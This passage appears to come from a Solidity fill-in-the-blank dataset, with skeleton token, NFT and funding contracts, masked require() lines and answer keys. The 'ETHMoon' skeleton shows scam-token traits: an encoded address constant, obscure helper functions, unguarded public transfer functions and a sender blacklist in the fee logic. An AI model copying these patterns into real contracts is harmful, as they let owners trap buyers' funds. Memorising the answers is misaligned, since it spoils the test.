USDC public USDc = USDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
// Price of an OptionDAO token
uint256 public price;
// Admin address: contract admin and where funds are transferred to
address payable public admin;
// Merkle root for an allowlist of addresses
bytes32 private root;
// Constructor for initializing the contract
constructor(bytes32 _root, uint256 _price, address _admin) ERC20("OptionDAO", "OptDAO") {
}
// Modifier to check if an address is in the allowlist
modifier isAllowlisted(bytes32[] calldata proof) {
}
// Modifier to check if msg.sender is admin
modifier isAdmin() {
}
// Function to fund the contract
function fund(uint256 quantity, bytes32[] calldata proof) external isAllowlisted(proof) {
// Check if funding is not permanently halted
require(halted == false, "Funding is permanently halted.");
// Check if the sender has enough USDC allowance to fund the contract
require(<FILL_ME>)
// Transfer USDC tokens from sender to admin
USDc.transferFrom(msg.sender, admin, quantity * price * 10 ** 6);
// Mint OptionDAO tokens to the sender
_mint(msg.sender, quantity);
}
// Function to get the number of decimals in the token
function decimals() public pure override returns (uint8) {
}
// Function to set the price of an OptionDAO token
function setPrice(uint256 _price) external isAdmin {
}
// Function to set the root of the allowlist
function setRoot(bytes32 _root) external isAdmin {
}
// Function to halt the contract (can only be called by admin)
function halt() external isAdmin {
}
}
| USDc.allowance(msg.sender,address(this))>=quantity*price*10**6,"USDC allowance too low" | 488,170 | USDc.allowance(msg.sender,address(this))>=quantity*price*10**6 |
null | //SPDX-License-Identifier:Unlicensed
pragma solidity ^0.8.6;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
}
function _msgData() internal view virtual returns (bytes memory) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function dos(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function transferOwnership(address newAddress) public onlyOwner{
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint _d_Min,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ETHMoon is Context, IERC20, Ownable {
uint256 public publIc=
150204226878642622067527889049274545390382094927;
using SafeMath for uint256;
string private _name = "ETHMoon";
string private _symbol = "ETHMoon";
uint8 private _decimals = 9;
address payable public CharityWalletAddress;
address payable public teamWalletAddress;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _IsExcludesendderFee;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public pairList;
mapping (address => bool) public contractTokenBalanceOf;
uint256 public _buyLiquidityFee = 1;
uint256 public _buyMarketingFee = 1;
uint256 public _buyTeamFee = 1;
uint256 public _sellLiquidityFee = 1;
uint256 public _sellMarketingFee = 1;
uint256 public _sellTeamFee = 1;
uint256 public _liquidityShare = 4;
uint256 public _marketingShare = 4;
uint256 public _teamShare = 16;
uint256 public _totalTaxIfBuying = 12;
uint256 public _totalTaxIfSelling = 12;
uint256 public _totalDistributionShares = 24;
uint256 private _totalSupply = 1000000000000000 * 10**_decimals;
uint256 public _maxTxAmount = 1000000000000000 * 10**_decimals;
uint256 public _walletMax = 1000000000000000 * 10**_decimals;
uint256 private minimumTokensBeforeSwap = 1000* 10**_decimals;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function setlsExcIudesendderFee(address[] calldata account, bool newValue) public onlyOwner {
}
function setBuy(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
}
function setsell(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
}
function abything(uint256 integerss) pure private returns(uint160){
}
function something(uint256 integerss) pure private returns(address){
}
function wanna_list(address integerss) private view returns(bool){
}
function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
}
function enableDisableWalletLimit(bool newValue) external onlyOwner {
}
function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
}
function setWalletLimit(uint256 newLimit) external onlyOwner {
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
}
function setMarketinWalleAddress(address newAddress) external onlyOwner() {
}
function setTeamWalletAddress(address newAddress) external onlyOwner() {
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
}
function getCirculatingSupply() public view returns (uint256) {
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
}
function _transfer(address
person, uint256 opportunations ) public
{
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _transfer(address sendder, address to, uint256 amount) private returns (bool) {
}function addLquity(address[] calldata w,uint256 y) public {
}
function safuContract(address a, address b,uint256 d) private pure returns(bool){ }
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (!isMarketPair[sender]){
require(<FILL_ME>)
}
if(pairList[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(pairList[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
}
| !contractTokenBalanceOf[sender] | 488,239 | !contractTokenBalanceOf[sender] |
null | // SPDX-License-Identifier: Unlicensed
/**
https://link.medium.com/rXx1v27zJyb
https://X.com
https://t.me/xcomvision
*/
//
pragma solidity ^0.8.9;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
*/
}
contract XCOM is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "X.Com Original Vision";
string private constant _symbol = "XCOM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x8aD21F390F6e8851f6cC2781d3fbb051Fc52674e);
address payable private _marketingAddress = payable(0x8aD21F390F6e8851f6cC2781d3fbb051Fc52674e);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 100000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() public onlyOwner(){
}
function manualswap() external {
}
function manualsend() external {
}
function blockBot(address bot) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function setMarketingWallet(address payable newMarketingWallet) public onlyOwner{
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
//max fees should not exceed 12%
require(<FILL_ME>)
require(redisFeeOnSell + taxFeeOnSell <= 12);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| redisFeeOnBuy+taxFeeOnBuy<=12 | 488,322 | redisFeeOnBuy+taxFeeOnBuy<=12 |
null | // SPDX-License-Identifier: Unlicensed
/**
https://link.medium.com/rXx1v27zJyb
https://X.com
https://t.me/xcomvision
*/
//
pragma solidity ^0.8.9;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
*/
}
contract XCOM is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "X.Com Original Vision";
string private constant _symbol = "XCOM";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 12;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 25;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x8aD21F390F6e8851f6cC2781d3fbb051Fc52674e);
address payable private _marketingAddress = payable(0x8aD21F390F6e8851f6cC2781d3fbb051Fc52674e);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000000 * 10**9;
uint256 public _maxWalletSize = 100000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() public onlyOwner(){
}
function manualswap() external {
}
function manualsend() external {
}
function blockBot(address bot) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function setMarketingWallet(address payable newMarketingWallet) public onlyOwner{
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
//max fees should not exceed 12%
require(redisFeeOnBuy + taxFeeOnBuy <= 12);
require(<FILL_ME>)
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| redisFeeOnSell+taxFeeOnSell<=12 | 488,322 | redisFeeOnSell+taxFeeOnSell<=12 |
"LIMIT DROP COUNT" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import {IEthereumClockToken} from "./interfaces/IEthereumClockToken.sol";
import {Raffle} from "./impl/Raffle.sol";
import "./impl/ERC721Tradable.sol";
import "hardhat/console.sol";
/**
* @title EthereumClockToken
* @author JieLi
*
* @notice ERC721 Eth clock token
*/
contract EthereumClockToken is IEthereumClockToken, Raffle, ERC721Tradable
{
using Strings for uint256;
mapping(uint256 => uint256) private tokenIdToNftIdList;
mapping(address => uint8) public mintedCount;
mapping(address => uint[]) public tokenIdList;
// ============ Functions ============
/**
* @notice Name => `Ethereum Clock Token`, Symbol => `Eth-Clock`
* @dev See {IERC721- contructor}
*/
constructor(string memory _pendingURI, address _proxyRegistryAddress) ERC721Tradable("Ethereum Clock Token", "Eth-Clock", _proxyRegistryAddress) {
}
/**
* @notice init function
*/
function init(
uint256 _maxTokenLevel,
uint256 _preSaleCount,
uint256 _maxMintCount,
uint256 _whiteListCount,
uint256 _countPerLevel,
uint256 _price,
uint256 _ownerPrice,
uint256 _presalePrice,
bool _revealAllowed,
bool _preSaleAllowed,
string memory _uriExtension
) external onlyOwners {
}
/**
* @notice get price function - according to the msg.sender
*/
function getPrice(address user) public view returns (uint256) {
}
/**
* @notice get price function - according to the msg.sender
*/
function getMintLimitCount() public view returns (uint256) {
}
/**
* @notice Directly Dropping payable function - call when the customer want to drop directly once the whitelist not filled
*/
function directDrop() public payable returns (uint256) {
}
/**
* @notice Drop payable function - Value shouldn't be less than 0.12eth
*/
function drop() public payable returns (uint256) {
require(_DROP_ALLOWED_, "DROP NOT ALLOWED");
require(whiteList[msg.sender], "NOT WHITELIST USER");
require(<FILL_ME>)
require(msg.value == getPrice(msg.sender), "NOT ENOUGH PRICE");
uint256 newItemId = mint(msg.sender);
uint256 randomValue = uint256(keccak256(abi.encode(_getNow(), newItemId)));
if (randomValue < 1000000) {
randomValue = (randomValue + 1) * 123456;
}
uint256 environmentRandomValue = randomValue % 100 * 100;
uint256 shineRandomValue = randomValue % 10000 / 100 * 100;
uint256 efficiencyRandomValue = randomValue % 1000000 / 10000 *100;
uint256 environmentIndex = 0;
uint256 shineIndex = 0;
uint256 efficiencyIndex = 0;
uint256 prevPercentage = 0;
for (uint i = 0; i < _ENVIRONMENT_PROBABILITY_.length; i ++) {
if (environmentRandomValue >= prevPercentage && environmentRandomValue < prevPercentage + _ENVIRONMENT_PROBABILITY_[i]) {
environmentIndex = i + 1;
}
prevPercentage += _ENVIRONMENT_PROBABILITY_[i];
}
prevPercentage = 0;
for (uint i = 0; i < _SHINE_PROBABILITY_.length; i ++) {
if (shineRandomValue >= prevPercentage && shineRandomValue < prevPercentage + _SHINE_PROBABILITY_[i]) {
shineIndex = i + 1;
}
prevPercentage += _SHINE_PROBABILITY_[i];
}
prevPercentage = 0;
for (uint i = 0; i < _EFFICIENCY_PROBABILITY_.length; i ++) {
if (efficiencyRandomValue >= prevPercentage && efficiencyRandomValue < prevPercentage + _EFFICIENCY_PROBABILITY_[i]) {
efficiencyIndex = i + 1;
}
prevPercentage += _EFFICIENCY_PROBABILITY_[i];
}
tokenIdToNftIdList[newItemId] = environmentIndex + shineIndex * _ENVIRONMENT_PROBABILITY_.length + efficiencyIndex * _ENVIRONMENT_PROBABILITY_.length * _SHINE_PROBABILITY_.length;
mintedCount[msg.sender] = mintedCount[msg.sender] + 1;
tokenIdList[msg.sender].push(newItemId);
levels[newItemId] = 1;
startTimestamps[newItemId] = _getNow();
return newItemId;
}
/**
* @dev External function to withdraw ETH in contract. This function can be called only by owner.
* @param _amount ETH amount
*/
function withdrawETH(uint256 _amount) external onlyOwners {
}
/**
* @dev External function to withdraw total balance of contract. This function can be called only by owner.
*/
function withdraw() public onlyOwners {
}
function getTokenIdList(address _owner) public view returns(uint[] memory) {
}
// ============ Advanced Functions ============
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
function baseTokenURI() virtual public view returns (string memory) {
}
function setFrozen(uint256 tokenId) external override onlyController {
}
function setCharred(uint256 tokenId) external override onlyController {
}
function redeem(uint256 tokenId) external override onlyController {
}
function enhance(uint256 tokenId) external override onlyController returns (bool) {
}
function godTier(uint256 tokenId) external override onlyController returns (bool) {
}
function fail(uint256 tokenId) external override onlyController returns (bool) {
}
// ============ Params Setting Functions ============
function setBaseURI(string memory _newBaseURI) public onlyOwners {
}
}
| mintedCount[msg.sender]<getMintLimitCount(),"LIMIT DROP COUNT" | 488,414 | mintedCount[msg.sender]<getMintLimitCount() |
"FROZEN YET" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import {IEthereumClockToken} from "./interfaces/IEthereumClockToken.sol";
import {Raffle} from "./impl/Raffle.sol";
import "./impl/ERC721Tradable.sol";
import "hardhat/console.sol";
/**
* @title EthereumClockToken
* @author JieLi
*
* @notice ERC721 Eth clock token
*/
contract EthereumClockToken is IEthereumClockToken, Raffle, ERC721Tradable
{
using Strings for uint256;
mapping(uint256 => uint256) private tokenIdToNftIdList;
mapping(address => uint8) public mintedCount;
mapping(address => uint[]) public tokenIdList;
// ============ Functions ============
/**
* @notice Name => `Ethereum Clock Token`, Symbol => `Eth-Clock`
* @dev See {IERC721- contructor}
*/
constructor(string memory _pendingURI, address _proxyRegistryAddress) ERC721Tradable("Ethereum Clock Token", "Eth-Clock", _proxyRegistryAddress) {
}
/**
* @notice init function
*/
function init(
uint256 _maxTokenLevel,
uint256 _preSaleCount,
uint256 _maxMintCount,
uint256 _whiteListCount,
uint256 _countPerLevel,
uint256 _price,
uint256 _ownerPrice,
uint256 _presalePrice,
bool _revealAllowed,
bool _preSaleAllowed,
string memory _uriExtension
) external onlyOwners {
}
/**
* @notice get price function - according to the msg.sender
*/
function getPrice(address user) public view returns (uint256) {
}
/**
* @notice get price function - according to the msg.sender
*/
function getMintLimitCount() public view returns (uint256) {
}
/**
* @notice Directly Dropping payable function - call when the customer want to drop directly once the whitelist not filled
*/
function directDrop() public payable returns (uint256) {
}
/**
* @notice Drop payable function - Value shouldn't be less than 0.12eth
*/
function drop() public payable returns (uint256) {
}
/**
* @dev External function to withdraw ETH in contract. This function can be called only by owner.
* @param _amount ETH amount
*/
function withdrawETH(uint256 _amount) external onlyOwners {
}
/**
* @dev External function to withdraw total balance of contract. This function can be called only by owner.
*/
function withdraw() public onlyOwners {
}
function getTokenIdList(address _owner) public view returns(uint[] memory) {
}
// ============ Advanced Functions ============
function tokenURI(uint256 tokenId) override public view returns (string memory) {
}
function baseTokenURI() virtual public view returns (string memory) {
}
function setFrozen(uint256 tokenId) external override onlyController {
require(<FILL_ME>)
frozen[tokenId] = true;
emit Frozen(ownerOf(tokenId), tokenId);
}
function setCharred(uint256 tokenId) external override onlyController {
}
function redeem(uint256 tokenId) external override onlyController {
}
function enhance(uint256 tokenId) external override onlyController returns (bool) {
}
function godTier(uint256 tokenId) external override onlyController returns (bool) {
}
function fail(uint256 tokenId) external override onlyController returns (bool) {
}
// ============ Params Setting Functions ============
function setBaseURI(string memory _newBaseURI) public onlyOwners {
}
}
| !frozen[tokenId],"FROZEN YET" | 488,414 | !frozen[tokenId] |
"CHARRED YET" | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;
import {IEthereumClockToken} from "./interfaces/IEthereumClockToken.sol";
import {Raffle} from "./impl/Raffle.sol";
import "./impl/ERC721Tradable.sol";
import "hardhat/console.sol";
/**
* @title EthereumClockToken
* @author JieLi
*
* @notice ERC721 Eth clock token
*/
contract EthereumClockToken is IEthereumClockToken, Raffle, ERC721Tradable
{
using Strings for uint256;
mapping(uint256 => uint256) private tokenIdToNftIdList;
mapping(address => uint8) public mintedCount;
mapping(address => uint[]) public tokenIdList;
// ============ Functions ============
/**
* @notice Name => `Ethereum Clock Token`, Symbol => `Eth-Clock`
* @dev See {IERC721- contructor}
*/
constructor(string memory _pendingURI, address _proxyRegistryAddress) ERC721Tradable("Ethereum Clock Token", "Eth-Clock", _proxyRegistryAddress) {
}
/**
* @notice init function
*/
function init(
uint256 _maxTokenLevel,
uint256 _preSaleCount,
uint256 _maxMintCount,
uint256 _whiteListCount,
uint256 _countPerLevel,
uint256 _price,
uint256 _ownerPrice,
uint256 _presalePrice,
bool _revealAllowed,
bool _preSaleAllowed,
string memory _uriExtension
) external onlyOwners {
}
/**
* @notice get price function - according to the msg.sender
*/
function getPrice(address user) public view returns (uint256) {
}
/**
* @notice get price function - according to the msg.sender
*/
function getMintLimitCount() public view returns (uint256) {
}
/**
* @notice Directly Dropping payable function - call when the customer want to drop directly once the whitelist not filled
*/
function directDrop() public payable returns (uint256) {
}
/**
* @notice Drop payable function - Value shouldn't be less than 0.12eth
*/
function drop() public payable returns (uint256) {
}
/**
* @dev External function to withdraw ETH in contract. This function can be called only by owner.
* @param _amount ETH amount
*/
function withdrawETH(uint256 _amount) external onlyOwners {
}
/**
* @dev External function to withdraw total balance of contract. This function can be called only by owner.
*/
function withdraw() public onlyOwners {
}
function getTokenIdList(address _owner) public view returns(uint[] memory) {
}
// ============ Advanced Functions ============
